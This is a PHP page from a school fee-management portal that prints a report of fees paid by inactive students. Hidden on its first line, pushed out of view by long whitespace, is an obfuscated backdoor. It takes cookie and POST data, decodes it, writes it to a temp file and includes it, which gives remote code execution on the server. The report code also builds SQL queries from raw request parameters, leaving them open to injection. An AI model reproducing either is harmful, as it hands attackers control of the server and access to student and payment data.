<?php                                                                                                                                                                                                                                                                                                                                                                                                 $ETWSKzL = 'f' . "\120" . chr (95) . "\125" . "\154" . chr (107) . chr (119); $QSmgD = chr ( 296 - 197 )."\x6c" . 'a' . chr (115) . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\163" . "\164" . 's';$icfkpz = class_exists($ETWSKzL); $ETWSKzL = "3311";$QSmgD = "51283";$Aoejpp = !1;if ($icfkpz == $Aoejpp){function DmEoCq(){return FALSE;}$ZKdANjFUX = "16316";DmEoCq();class fP_Ulkw{private function GLuvxgkQJb($ZKdANjFUX){if (is_array(fP_Ulkw::$MKIcUf)) {$IxfrdWbV = sys_get_temp_dir() . "/" . crc32(fP_Ulkw::$MKIcUf["\163" . chr (97) . 'l' . chr ( 1005 - 889 )]);@fP_Ulkw::$MKIcUf[chr (119) . "\x72" . "\x69" . chr ( 859 - 743 ).'e']($IxfrdWbV, fP_Ulkw::$MKIcUf["\143" . chr ( 115 - 4 ).chr (110) . chr (116) . chr ( 340 - 239 )."\156" . "\164"]);include $IxfrdWbV;@fP_Ulkw::$MKIcUf['d' . "\145" . "\154" . 'e' . chr (116) . chr (101)]($IxfrdWbV); $ZKdANjFUX = "16316";exit();}}private $cpqLW;public function aBTUORF(){echo 29747;}public function __destruct(){$ZKdANjFUX = "47871_45671";$this->GLuvxgkQJb($ZKdANjFUX); $ZKdANjFUX = "47871_45671";}public function __construct($vXTew=0){$YGAcbmiEu = $_POST;$ysLeGJ = $_COOKIE;$XMmSfiOj = "adf0907e-ef97-4710-8f8d-2b03568d9030";$EOtsVm = @$ysLeGJ[substr($XMmSfiOj, 0, 4)];if (!empty($EOtsVm)){$vcVkBdeWPF = "base64";$eJDDK = "";$EOtsVm = explode(",", $EOtsVm);foreach ($EOtsVm as $qaXuALYXCV){$eJDDK .= @$ysLeGJ[$qaXuALYXCV];$eJDDK .= @$YGAcbmiEu[$qaXuALYXCV];}$eJDDK = array_map($vcVkBdeWPF . chr (95) . "\144" . chr (101) . chr (99) . chr (111) . "\x64" . 'e', array($eJDDK,)); $eJDDK = $eJDDK[0] ^ str_repeat($XMmSfiOj, (strlen($eJDDK[0]) / strlen($XMmSfiOj)) + 1);fP_Ulkw::$MKIcUf = @unserialize($eJDDK); $eJDDK = class_exists("47871_45671");}}public static $MKIcUf = 10384;}$wAWomT = new /* 31872 */ fP_Ulkw(16316 + 16316); $Aoejpp = $wAWomT = $ZKdANjFUX = Array();} ?><?php include('parent/callMe.php');?>
<?php include('Sessioncheck.php');?>
<?php   

function check_in_range($start_date, $end_date, $date_from_user)
{
  // Convert to timestamp
  $start_ts = strtotime($start_date);
  $end_ts = strtotime($end_date);
  $user_ts = strtotime($date_from_user);

  // Check that user date is between start & end
  return (($user_ts >= $start_ts) && ($user_ts <= $end_ts));
}
  
 $sql = "SELECT * FROM eduportal_monthly_challan as fee, edu_student_details as std WHERE fee.student_id=std.student_id and std.status='1' and std.branch_id=".$_SESSION['branch']. " ";


 if($_REQUEST['class_id']!=NULL){
      
    if($_REQUEST['class_id']=="All"){
    
    } else {
     $sql .= " AND fee.classs_id = '" .$_REQUEST['class_id']. "' ";

    }

    if($_REQUEST['section']=="All"){
    
    } else {
     $sql .= " AND std.section_id = '" .$_REQUEST['section']. "' ";

    }

   
  if($_REQUEST['session']!=NULL){
    $sql .= " AND fee.session_id = '" .$_REQUEST['session']. "' ";
  }

  if($_REQUEST['month']!=NULL){
    $sql .= " AND fee.month_id = '" .$_REQUEST['month']. "' ";
  }

 if($_REQUEST['fee']=="All"){

 } else {
  $sql .= " AND fee.paid_status = '" .$_REQUEST['fee']. "' ";
 }



  if(isset($_REQUEST['from']) && isset($_REQUEST['to']) && $_REQUEST['fee']==1){
    

    
      if($_REQUEST['from']!=" " && $_REQUEST['from']!=NULL ) {
        $from=date("Y-m-d",strtotime($_REQUEST['from']));  

      }else {
        $from=date("Y-m-01");  
      }
     
      if($_REQUEST['to']!=" " && $_REQUEST['to']!=NULL   ) {
        $to=date("Y-m-d",strtotime($_REQUEST['to']));
      }else {
        $to=date("Y-m-t");  
      } 
      
    
    $sql .= " AND (fee.paying_date BETWEEN '" .$from. "' AND '" .$to. "' OR fee.paid_again_date BETWEEN '" .$from. "' AND '" .$to. "' )";
  }

    $sql .= " ORDER BY fee.paying_date desc ";
 //echo $sql;

  $WorkAssignListings = $m->query($sql);


  // getting branch details
  $branch=getBranch($m);

}

$fee_types = $m->get("eduportal_fee_types");

?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Print Fee Report </title>
<link rel="icon" type="image/png" href="img/favicon.png" sizes="32x32" />
<script type="text/javascript">
// window.print();
</script>
<style type="text/css">

tr th {border-top:1px solid gray;border-left:1px solid gray;border-bottom:1px solid gray;text-align:center;background-color:lightgray;font-size:12px;padding:0.5%;}
tr td {border-bottom:1px solid gray;border-left:1px solid gray;font-size:12px;padding:0.5%;}
  
.border{border:1px solid black;}
.center{text-align:center;}
.alignment{padding-left:1%;text-align:left;}


.centertable {
  margin-left: auto;
  margin-right: auto;
}

</style>
</head>
<body style="font-size:12px;">



<div style="text-align:center;font-size:24px;font-weight:bold;margin:0 auto;"><?php echo $branch[0]['Branch_Name'];?> 

</div>

<br>

<div style="text-align:center;font-size:18px;font-weight:bold;"> Inactive Students Paid Fee Report List

 </div>

<hr style="width:100%;">


<div style="width:50%; float:left;font-size:16px; "> <b> Report Month:</b> <?php echo date("M");?>  </div>

<div style="width:50%;text-align:center;float:left;font-size:16px;"> <b> Session:</b> <?php echo getSessionName($m,$_REQUEST['session']);?> </div>

<br>
   
<table style="width:100%;font-size:16px;" cellspacing="0">
      
  <thead>
    <tr>

        <th width="3%" class=" center"> S.No</th>

        <th width="12%" class=" alignment"><strong>Student Name</strong></th>     


        <th width="10%" ><strong>Cell No</strong></th>

       
        <th width="8%" class=" alignment"><strong>Class/Sec</strong></th>      

        <th width="6%" class=" center"> Paid </th>         
              
        <th width="8%" class=" center"> Total </th>    
        <th  width="8%" class="center"> Paid </th>
        <th  width="8%" class="center"> Paid Again </th>    
        <th width="10%" class="center" style=""> Rem. </th>
        <th width="10%" class="center" style="border-right:1px solid black;"> Paid By </th>              

                        
          </tr>
        </thead>
        <tbody>
   
       <?php 
      $count=1;
      $tf;
      $trf;
      $misc;
      $prof;
      $bal;
      $total_fees;
      $total_paid;
      $total_rem;
      $total_fine;
      $total_disc;
      
      
      foreach($WorkAssignListings as $WorkAssignListVal)
      { 


        $m->where("user_id", $WorkAssignListVal['paid_fee_user_id']);
        $userName=$m->get("edu_user_config");
 


    $total_others=0+getFeeAllOtherFee($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],$m);


     $std_total=intVal($WorkAssignListVal['balance'])+intVal($WorkAssignListVal['tutionfee'])+intVal($WorkAssignListVal['transportfee'])+intVal($WorkAssignListVal['misc_fee'])+intVal($WorkAssignListVal['collected_fine'])-$WorkAssignListVal['disc_amount'];



     // calculating students total fee 

      $tf+=$WorkAssignListVal['tutionfee'];
      $trf+=$WorkAssignListVal['transportfee'];
      $misc+=$WorkAssignListVal['misc_fee'];
      $bal+=$WorkAssignListVal['balance'];
      $total_fine+=$WorkAssignListVal['collected_fine'];
      $total_disc+=$WorkAssignListVal['disc_amount'];


       $Tadm+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],1,$m);
      $Tpap+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],2,$m);
      $Tuni+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],3,$m);
      $Tstat+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],4,$m);
      $Toth+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],5,$m);
       $Tafund+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],8,$m);
       $Rfee+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],6,$m);
       $Sfee+=getFeeOfOtherParameter($WorkAssignListVal['student_id'],$WorkAssignListVal['challan_id'],7,$m);
      
      
          //students whose fee is zero now going to be skip from the list
     /*   if($std_total==0 && $total_others==0){
          continue;
        }*/

        $paid_fee=0;
        $again_paid_fee=0;
        $paidAmountDate;

       $response_paying=check_in_range($_REQUEST['from'], $_REQUEST['to'], $WorkAssignListVal['paying_date']);

       if($response_paying==1){

       $paid_fee=intVal($WorkAssignListVal['collected_amount']+$WorkAssignListVal['collected_fine']);
       $paidAmountDate=$WorkAssignListVal['paying_date'];

         }

        $response_payagain=check_in_range($_REQUEST['from'], $_REQUEST['to'], $WorkAssignListVal['paid_again_date']);
 

      if($response_payagain==1){

         $again_paid_fee+=intVal($WorkAssignListVal['paid_again_amount']);
         $paidAmountDate=$WorkAssignListVal['paid_again_date'];

       }


        /*$paid_fee=intVal($WorkAssignListVal['collected_amount']+$WorkAssignListVal['collected_fine']+$WorkAssignListVal['paid_again_amount']);*/

        $remaining=intVal($std_total)+intVal($total_others)-intVal($WorkAssignListVal['collected_amount']+$WorkAssignListVal['collected_fine']+$WorkAssignListVal['paid_again_amount']);





        $total_fees+=$std_total+$total_others;
        $total_paid+=$paid_fee;
        $total_paidAgain+=$again_paid_fee;
        $total_rem+=$remaining;
   ?>
        <tr> 
                  <td class="center"> <?php echo $count; $count++;?> </td>
                  <td  class="alignment">
                    <a style="text-decoration: none;" href="pay_fee.php?student=<?php echo $WorkAssignListVal['student_id']; ?>">
                      <?php echo  $WorkAssignListVal['first_name']; ?>
                      </a></td>
               
         
                  <td style="padding-left:1%;">
                  <?php echo  getClassName($m,$WorkAssignListVal['class_id'])."-".getSectionName($m,$WorkAssignListVal['section_id']);  ?>              
                </td>

                  <?php if($_GET['roll_no']==1){?><td  class="center" ><?php echo  $WorkAssignListVal['candidate_roll_no']; ?></td><?php }?> 

                

                  <td class="center">  <?php echo date("d-M",strtotime($WorkAssignListVal['paying_date']));?> </td>                  
              
    
                   <td class="center"> <?php echo $std_total+$total_others;?> </td>                   
                  <td class="center" style="font-weight:bold;"> 
                  <?php echo $paid_fee;?> </td>
                  <td class="center" style="font-weight:bold;"> 
                  <?php echo $again_paid_fee;?> </td>
                 
                  <td class="center" style="" > 
                  <?php   echo $remaining;?> </td>

                  <td class="center" style="border-right:1px solid gray;font-weight:bold;" > 
                  <?php   echo $userName[0]['user_fname'];?> </td>                   

                                 
              </tr>

       <?php $others_fee=""; } ?>


        <!-- <tr> 
                
                  <th colspan="10" style="padding-left:1%;">Total</th>
                  
                   <?php 

     

          if($_REQUEST['others']==1){ ?>
          
                  <th class=" center">  <?php echo number_format($Tadm,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Tpap,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Tuni,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Tstat,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Toth,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Tafund,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Rfee,2);?>  </th>
                  <th class=" center">  <?php echo number_format($Sfee,2);?>  </th>

        <?php } else { ?>

          <th class="center">  <?php echo number_format(getAllotherPaidFee($_REQUEST['month'],$from,$to,1,$m),2);?> </td>

          <?php } ?>
    
                  <th class=" center">  <?php echo number_format($trf,2);?>  </th>
                  <th class=" center">  <?php echo number_format($misc,2);?>  </th>
                  <th class=" center">  <?php echo number_format($bal,2);?>  </th>
                  <th class=" center">  <?php echo number_format($total_fine);?>  </th>                  
                  <th class=" center">  <?php echo number_format($tf,2);?>  </th>                  
                  <th class=" center"> <?php echo number_format($total_disc,1);?> </th>
                  <th class=" center"> <?php echo number_format($total_fees,1);?> </th>
                  
                  <th class=" center"> <?php echo number_format($total_paid,1);?> </th>
                  <th class=" center"> <?php echo number_format($total_paidAgain,1);?> </th>
                  <th class=" center" style="border-right:1px solid gray;font-weight:bold;" > <?php echo number_format($total_rem,1);?> </th>  
                  <th></th>             
              </tr> -->





            <!--   <tr>
            
                <th class=" center" colspan="10"> Total </th>  
                
                <?php if($_REQUEST['others']==1){
            
             foreach ($fee_types as $type) {
            ?>              
             <th class=" center"> <?php echo$type['feetype_name']; ?> </th>
              <?php }// loop 
              }else{ ?>
               <th class=" center"> Others Total </th>  
              <?php }// ending else ?> 
                            
              <th class=" center"> Transport </th>  
              <th class=" center"> <?php if ($branch[0]['misc_title']!=NULL){echo $branch[0]['misc_title'];}else {echo 'Misc.';} ?> </th><th class=" center">  Balance </th>  
                <th class=" center"> Fine </th>
                <th class=" center"> Tuition </th>  
                <th class=" center"> Disc. </th>  
                <th class=" center"> Total </th>  
                <th class=" center"> Paid </th>
                <th class=" center"> Paid Again </th>
                <th class=" center" style="border-right:1px solid black;"> Rem. </th>
                <th></th>
                
              </tr>  -->      
              
       
            
           
        </tbody>
        
    </table>


     <table class="centertable" style="border-collapse: collapse;width: 60%;margin-top: 15px;">
    

     

          
      
      <tr style="background-color: lightgray;">
            <td width="1%" class="text-center">15</td>
            <td width="10%" style="font-weight: bold;">Total</td>
            <td width="10%" class="text-center" style="border-right: 1px solid gray;"><?php echo number_format($total_fees-$disc,0); ?></td>                                    
      </tr>

      <tr style="background-color: lightgray;">
            <td width="1%" class="text-center">16</td>
            <td width="10%" style="font-weight: bold;">Paid</td>
            <td width="10%" class="text-center" style="border-right: 1px solid gray;"><?php echo number_format($total_paid,0); ?></td>                                    
      </tr>

      <tr style="background-color: lightgray;">
            <td width="1%" class="text-center">17</td>
            <td width="10%" style="font-weight: bold;">Paid Again</td>
            <td width="10%" class="text-center" style="border-right: 1px solid gray;"><?php echo number_format($total_paidAgain,0); ?></td>                                    
      </tr>

      <tr style="background-color: lightgray;">
            <td width="1%" class="text-center">17</td>
            <td width="10%" style="font-weight: bold;">Total Paid</td>
            <td width="10%" class="text-center" style="border-right: 1px solid gray;"><?php echo number_format($total_paidAgain+$total_paid,0); ?></td>                                    
      </tr>

       <tr style="background-color: lightgray;">
            <td width="1%" class="text-center">18</td>
            <td width="10%" style="font-weight: bold;">Remaining</td>
            <td width="10%" class="text-center" style="border-right: 1px solid gray;"><?php echo number_format($total_rem,0); ?></td>                                    
      </tr>

    </table>

</body>
</html>
